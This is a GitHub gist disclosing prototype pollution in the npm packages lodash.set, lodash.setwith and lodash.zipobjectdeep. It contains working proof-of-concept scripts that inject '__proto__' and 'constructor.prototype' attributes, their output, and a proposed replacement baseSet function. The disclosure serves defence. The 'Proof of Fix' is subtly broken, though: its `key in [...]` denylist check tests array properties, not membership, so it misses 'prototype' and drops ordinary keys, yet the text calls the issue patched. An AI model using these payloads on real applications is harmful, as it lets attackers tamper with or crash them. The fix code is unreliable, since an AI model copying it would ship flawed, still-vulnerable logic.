Skip to content

Instantly share code, notes, and snippets.

@Sampaguitas
Last active November 30, 2023 12:42
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Sampaguitas/a316bced4fdd501146b07997d1d04eb2 to your computer and use it in GitHub Desktop.
Save Sampaguitas/a316bced4fdd501146b07997d1d04eb2 to your computer and use it in GitHub Desktop.
Prototype Pollution in lodash/lodash.set, lodash/lodash.setwith and lodash/lodash.zipobjectdeep

Prototype Pollution in lodash/lodash.set, lodash/lodash.setwith and lodash/lodash.zipobjectdeep

Reported on Jan 2nd 2022 | Timothee Desurmont

Description

Vulnerability type: CWE-1321

The npm packages lodash.set (<=v4.3.2), lodash.setwith(<=v4.3.2), lodash.zipobjectdeep (v4.4.2) are all vulnerable to prototype pollution;

The function "baseSet" in lodash/lodash.set/index.js, lodash/lodash.setwith/index.js, and lodash/lodash.zipobjectdeep/index.js do not check if the attribute resolves to the object prototype.

By adding or modifying attributes of an object prototype, it is possible to create attributes that exist on every object, or replace critical attributes with malicious ones.

This can be problematic if the software depends on existence or non-existence of certain attributes, or uses pre-defined attributes of object prototype (such as hasOwnProperty, toString or valueOf).

Proof of Concept

  1. Create the following PoC files:

poc_set.js

const set = require('lodash.set');

let emptyObject = {};
// we create an empty object

console.log(`[+] Before prototype pollution : ${emptyObject.polluted}`);
//[+] Before prototype pollution : undefined

set({}, "__proto__.polluted", true);
//we inject our malicious attributes in the vulnerable function

console.log(`[+] After prototype pollution : ${emptyObject.polluted}`);
//[+] After prototype pollution : true

poc_setwith.js

const setWith = require('lodash.setwith');

let emptyObject = {};
// we create an empty object

console.log(`[+] Before prototype pollution : ${emptyObject.polluted}`);
//[+] Before prototype pollution : undefined

setWith({}, "__proto__.polluted", true);
//we inject our malicious attributes in the vulnerable function

console.log(`[+] After prototype pollution : ${emptyObject.polluted}`);
//[+] After prototype pollution : true

poc_zipobjectdeep.js

const zipObjectDeep = require("lodash.zipobjectdeep");

let emptyObject = {};
// we create an empty object

console.log(`[+] Before prototype pollution : ${emptyObject.polluted}`);
//[+] Before prototype pollution : undefined

zipObjectDeep(["constructor.prototype.polluted"], [true]);
//we inject our malicious attributes in the vulnerable function

console.log(`[+] After prototype pollution : ${emptyObject.polluted}`);
//[+] After prototype pollution : true
  1. Execute the following commands in terminal:
npm i lodash.set@4.3.2 lodash.setwith@4.3.2 lodash.zipobjectdeep@4.4.2 # Install the 3 vulnerable packages
node poc_set.js #  execute the PoC for lodash.set
node poc_setwith.js #  execute the PoC for lodash.setwith
node poc_zipobjectdeep.js #  execute the PoC for lodash.zipobjectdeep
  1. Check the Output of the PoC files:
[+] Before prototype pollution : undefined
[+] After prototype pollution : true

We have successfully added the attribute { "polluted": true } on all objects in our application, including to those that havn't been created yet:

console.log(`[+] Is this newly created empty object also polluted: ${{}.polluted}`);
// [+] Is this newly created empty object also polluted: true

This confirms the prototype pollution vulnerability.

Common Consequences

Scope Impact
Integrity An attacker can inject attributes that are used in other components.
Availability An attacker can override existing attributes with ones that have incompatible type, which may lead to a crash.

Proof of Fix

By using a denylist of dangerous attributes, this weakness can be eliminated.

  1. replace the baseSet function in all 3 vulnerable packages with the following code:
function baseSet(object, path, value, customizer) {
  if (!isObject(object)) {
    return object;
  }
  path = isKey(path, object) ? [path] : castPath(path);

  var index = -1,
      length = path.length,
      lastIndex = length - 1,
      nested = object;

  while (nested != null && ++index < length) {
    var key = toKey(path[index]),
        newValue = value;
    
    // CWE-1321 - use denylist of dangerous attributes
    if (key in ["__proto__", "prototype", "constructor"]) continue

    if (index != lastIndex) {
      var objValue = nested[key];
      newValue = customizer ? customizer(objValue, key, nested) : undefined;
      if (newValue === undefined) {
        newValue = isObject(objValue)
          ? objValue
          : (isIndex(path[index + 1]) ? [] : {});
      }
    }
    assignValue(nested, key, newValue);
    nested = nested[key];
  }
  return object;
}
  1. Check the Output of the PoC files:
[+] Before prototype pollution : undefined
[+] After prototype pollution : undefined

This confirms that the vulnerability has been patched.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment